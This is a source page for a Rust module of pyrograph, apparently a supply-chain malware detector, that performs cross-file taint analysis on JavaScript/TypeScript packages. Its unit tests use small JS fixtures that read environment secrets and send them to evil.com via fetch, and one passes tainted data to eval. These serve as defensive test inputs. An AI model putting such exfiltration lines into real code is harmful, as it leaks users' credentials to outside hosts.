pyrograph 0.1.0

GPU-accelerated taint analysis for supply chain malware detection
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
//! Package-level cross-file taint analysis for JavaScript/TypeScript.
//!
//! Combines multiple files into a single taint graph, resolves `require()`
//! calls at the package boundary, and runs BFS to detect flows that span
//! files (e.g. source in `index.js`, sink in `utils.js`).

use std::collections::HashMap;
use std::path::{Path, PathBuf};

use crate::analyze;
use crate::ir::{EdgeKind, NodeId};
use crate::labels::LabelSet;
use crate::lib_types::TaintFinding;
use crate::parse::js::{apply_labels, default_label_set, JsParser};

/// Normalize a relative path by collapsing `.` and `..` segments.
fn normalize_path(path: &str) -> String {
    let mut stack = Vec::new();
    for part in path.split(['/', '\\']) {
        if part.is_empty() || part == "." {
            continue;
        } else if part == ".." {
            stack.pop();
        } else {
            stack.push(part);
        }
    }
    stack.join("/")
}

/// Resolve a `require()` specifier against a list of in-memory file paths.
///
/// Rules mirror Node.js resolution for in-memory packages:
/// - Built-in modules (`fs`, `http`, etc.) return `None`.
/// - Relative paths (`./foo`, `../foo`) are resolved against the parent
///   directory of `from_file`.
/// - If the specifier has no extension, try `.js`, `.ts`, `.json`, `.node`
///   and `index.js` / `index.ts` inside a directory.
/// - External packages return `None`.
fn resolve_require_memory(from_file: &str, specifier: &str, files: &[String]) -> Option<String> {
    const BUILTINS: &[&str] = &[
        "http", "https", "fs", "child_process", "net", "dns", "vm", "os", "path", "url",
        "querystring", "stream", "events", "crypto", "buffer", "util",
    ];

    if BUILTINS.contains(&specifier) {
        return None;
    }
    if !specifier.starts_with('.') {
        return None;
    }

    let dir = Path::new(from_file)
        .parent()
        .filter(|p| !p.as_os_str().is_empty())
        .unwrap_or(Path::new("."));

    let stripped = if specifier.starts_with("./") {
        &specifier[2..]
    } else {
        specifier
    };

    let resolved = dir.join(stripped);
    let has_ext = Path::new(stripped).extension().is_some();

    let mut candidates: Vec<String> = Vec::new();

    if has_ext {
        candidates.push(normalize_path(&resolved.to_string_lossy()));
    } else {
        for ext in ["js", "ts", "json", "node"] {
            candidates.push(normalize_path(&resolved.with_extension(ext).to_string_lossy()));
        }
        for ext in ["js", "ts"] {
            candidates.push(normalize_path(
                &resolved.join("index").with_extension(ext).to_string_lossy(),
            ));
        }
    }

    let normalized_files: Vec<String> = files.iter().map(|f| normalize_path(f)).collect();

    for candidate in candidates {
        if let Some(idx) = normalized_files.iter().position(|f| f == &candidate) {
            return Some(files[idx].clone());
        }
    }

    None
}

/// Analyze a package of in-memory JS/TS files.
///
/// `files` is a slice of `(path, source)` pairs. Paths may be relative
/// (e.g. `"index.js"`, `"src/utils.js"`). The function parses every
/// `.js` and `.ts` file, tracks `module.exports` per file, resolves
/// `require()` specifiers across the package, and runs taint analysis
/// on the combined graph.
///
/// # Returns
/// A vector of [`TaintFinding`]s representing cross-file (and intra-file)
/// taint flows.
///
/// # Panics
/// Never panics — malformed files are skipped and logged to stderr.
pub fn analyze_package(files: &[(String, String)]) -> Vec<TaintFinding> {
    let mut parser = JsParser::new();
    let mut file_exports: HashMap<String, NodeId> = HashMap::new();
    let mut all_require_calls: Vec<(String, NodeId, String)> = Vec::new();
    let file_paths: Vec<String> = files.iter().map(|(p, _)| p.clone()).collect();

    for (path, source) in files {
        let ext = Path::new(path).extension().and_then(|s| s.to_str());
        if !matches!(ext, Some("js") | Some("ts")) {
            continue;
        }

        parser.set_current_file(PathBuf::from(path));
        if let Err(e) = parser.parse_module(source) {
            eprintln!("pyrograph: failed to parse {}: {:?}", path, e);
            parser.clear_file_state();
            continue;
        }

        if let Some(exports) = parser.module_exports() {
            file_exports.insert(path.clone(), exports);
        }

        for (node_id, spec) in parser.take_require_calls() {
            all_require_calls.push((path.clone(), node_id, spec));
        }

        parser.clear_file_state();
    }

    // Wire cross-file edges: module.exports -> require() call result
    for (from_file, call_node, spec) in all_require_calls {
        if let Some(resolved) = resolve_require_memory(&from_file, &spec, &file_paths) {
            if let Some(&exports) = file_exports.get(&resolved) {
                parser.graph_mut().add_edge(exports, call_node, EdgeKind::Assignment);
            }
        }
    }

    let mut graph = parser.into_graph();
    let label_set = default_label_set();
    apply_labels(&mut graph, &label_set);
    graph.set_label_set(label_set);

    analyze(&graph).unwrap_or_default()
}

/// Analyze a package with a custom label set.
pub fn analyze_package_with_labels(
    files: &[(String, String)],
    labels: &LabelSet,
) -> Vec<TaintFinding> {
    let mut parser = JsParser::new();
    let mut file_exports: HashMap<String, NodeId> = HashMap::new();
    let mut all_require_calls: Vec<(String, NodeId, String)> = Vec::new();
    let file_paths: Vec<String> = files.iter().map(|(p, _)| p.clone()).collect();

    for (path, source) in files {
        let ext = Path::new(path).extension().and_then(|s| s.to_str());
        if !matches!(ext, Some("js") | Some("ts")) {
            continue;
        }

        parser.set_current_file(PathBuf::from(path));
        if let Err(e) = parser.parse_module(source) {
            eprintln!("pyrograph: failed to parse {}: {:?}", path, e);
            parser.clear_file_state();
            continue;
        }

        if let Some(exports) = parser.module_exports() {
            file_exports.insert(path.clone(), exports);
        }

        for (node_id, spec) in parser.take_require_calls() {
            all_require_calls.push((path.clone(), node_id, spec));
        }

        parser.clear_file_state();
    }

    for (from_file, call_node, spec) in all_require_calls {
        if let Some(resolved) = resolve_require_memory(&from_file, &spec, &file_paths) {
            if let Some(&exports) = file_exports.get(&resolved) {
                parser.graph_mut().add_edge(exports, call_node, EdgeKind::Assignment);
            }
        }
    }

    let mut graph = parser.into_graph();
    let label_set = labels.clone();
    apply_labels(&mut graph, &label_set);
    graph.set_label_set(label_set);

    analyze(&graph).unwrap_or_default()
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::labels::{LabelSet, SinkDef, SourceDef};

    // ------------------------------------------------------------------
    // Resolver tests
    // ------------------------------------------------------------------
    #[test]
    fn resolver_builtin_returns_none() {
        let files = vec!["index.js".into()];
        assert_eq!(resolve_require_memory("index.js", "fs", &files), None);
    }

    #[test]
    fn resolver_external_returns_none() {
        let files = vec!["index.js".into()];
        assert_eq!(resolve_require_memory("index.js", "express", &files), None);
    }

    #[test]
    fn resolver_relative_with_extension() {
        let files = vec!["helper.js".into(), "index.js".into()];
        assert_eq!(
            resolve_require_memory("index.js", "./helper.js", &files),
            Some("helper.js".into())
        );
    }

    #[test]
    fn resolver_relative_without_extension() {
        let files = vec!["helper.js".into(), "index.js".into()];
        assert_eq!(
            resolve_require_memory("index.js", "./helper", &files),
            Some("helper.js".into())
        );
    }

    #[test]
    fn resolver_relative_js_preferred_over_ts() {
        // Node.js resolution tries .js before .ts
        let files = vec!["helper.ts".into(), "helper.js".into(), "index.js".into()];
        assert_eq!(
            resolve_require_memory("index.js", "./helper", &files),
            Some("helper.js".into())
        );
    }

    #[test]
    fn resolver_parent_relative() {
        let files = vec!["parent.js".into(), "sub/index.js".into()];
        assert_eq!(
            resolve_require_memory("sub/index.js", "../parent", &files),
            Some("parent.js".into())
        );
    }

    #[test]
    fn resolver_directory_index() {
        let files = vec!["lib/index.js".into(), "index.js".into()];
        assert_eq!(
            resolve_require_memory("index.js", "./lib", &files),
            Some("lib/index.js".into())
        );
    }

    // ------------------------------------------------------------------
    // End-to-end cross-file tests
    // ------------------------------------------------------------------
    #[test]
    fn cross_file_module_exports_object_to_sink() {
        let files = vec![
            (
                "index.js".into(),
                "var secret = process.env.TOKEN; module.exports = { secret };".into(),
            ),
            (
                "utils.js".into(),
                "var { secret } = require('./index'); fetch('evil.com/' + secret);".into(),
            ),
        ];
        let findings = analyze_package(&files);
        assert!(
            !findings.is_empty(),
            "must detect cross-file taint: index.js source -> utils.js sink"
        );
    }

    #[test]
    fn cross_file_plain_require_to_sink() {
        let files = vec![
            (
                "config.js".into(),
                "module.exports = process.env.API_KEY;".into(),
            ),
            (
                "main.js".into(),
                "var key = require('./config'); fetch('https://evil.com/?k=' + key);".into(),
            ),
        ];
        let findings = analyze_package(&files);
        assert!(
            !findings.is_empty(),
            "must detect cross-file taint via plain require"
        );
    }

    #[test]
    fn cross_file_multi_hop_chain() {
        let files = vec![
            (
                "a.js".into(),
                "module.exports = process.env.SECRET;".into(),
            ),
            (
                "b.js".into(),
                "var x = require('./a'); module.exports = x + 'suffix';".into(),
            ),
            (
                "c.js".into(),
                "var y = require('./b'); eval(y);".into(),
            ),
        ];
        let findings = analyze_package(&files);
        assert!(
            !findings.is_empty(),
            "must detect multi-hop cross-file taint a -> b -> c"
        );
    }

    #[test]
    fn cross_file_clean_no_false_positive() {
        let files = vec![
            (
                "constants.js".into(),
                "module.exports = { MAX_RETRIES: 3 };".into(),
            ),
            (
                "main.js".into(),
                "var c = require('./constants'); console.log(c.MAX_RETRIES);".into(),
            ),
        ];
        let findings = analyze_package(&files);
        assert!(
            findings.is_empty(),
            "clean package with no sources must yield zero findings"
        );
    }

    #[test]
    fn cross_file_unresolvable_require_no_panic() {
        let files = vec![
            (
                "main.js".into(),
                "var x = require('./does-not-exist'); fetch(x);".into(),
            ),
        ];
        let findings = analyze_package(&files);
        assert!(
            findings.is_empty(),
            "unresolvable require should not crash or create false findings"
        );
    }

    #[test]
    fn cross_file_malformed_file_skipped() {
        let files = vec![
            ("bad.js".into(), "this is not { valid javascript".into()),
            (
                "good.js".into(),
                "var token = process.env.TOKEN; fetch(token);".into(),
            ),
        ];
        let findings = analyze_package(&files);
        assert!(
            !findings.is_empty(),
            "must still analyze valid files when one file is malformed"
        );
    }

    #[test]
    fn cross_file_with_custom_labels() {
        let files = vec![
            (
                "src.js".into(),
                "module.exports = customSource();".into(),
            ),
            (
                "sink.js".into(),
                "var s = require('./src'); customSink(s);".into(),
            ),
        ];
        let labels = LabelSet {
            sources: vec![SourceDef {
                id: "custom".into(),
                pattern: "customSource".into(),
                category: "credential".into(),
            }],
            sinks: vec![SinkDef {
                id: "custom".into(),
                pattern: "customSink".into(),
                category: "exec".into(),
            }],
            sanitizers: vec![],
        };
        let findings = analyze_package_with_labels(&files, &labels);
        assert!(
            !findings.is_empty(),
            "must respect custom label sets in package analysis"
        );
    }

    #[test]
    fn cross_file_ts_extension_supported() {
        let files = vec![
            (
                "index.ts".into(),
                "const secret = process.env.TOKEN; module.exports = { secret };".into(),
            ),
            (
                "utils.ts".into(),
                "const { secret } = require('./index'); fetch('evil.com/' + secret);".into(),
            ),
        ];
        let findings = analyze_package(&files);
        assert!(
            !findings.is_empty(),
            "must support TypeScript files in package analysis"
        );
    }

    #[test]
    fn cross_file_no_duplicate_findings() {
        // process.env.TOKEN produces two source labels (process.env and process.env.TOKEN),
        // and each of the two importers has its own fetch sink, giving 4 unique
        // (source_node, sink_node) pairs. The key invariant is that the SAME path is
        // never reported twice.
        let files = vec![
            (
                "index.js".into(),
                "module.exports = process.env.TOKEN;".into(),
            ),
            (
                "a.js".into(),
                "var x = require('./index'); fetch(x);".into(),
            ),
            (
                "b.js".into(),
                "var y = require('./index'); fetch(y);".into(),
            ),
        ];
        let findings = analyze_package(&files);
        // Ensure every path is unique — no exact duplicates.
        let mut unique_paths = std::collections::HashSet::new();
        for f in &findings {
            unique_paths.insert(f.path.clone());
        }
        assert_eq!(
            findings.len(),
            unique_paths.len(),
            "findings must not contain exact duplicate paths"
        );
        assert!(
            findings.len() >= 2,
            "two importers must produce at least two findings"
        );
    }
}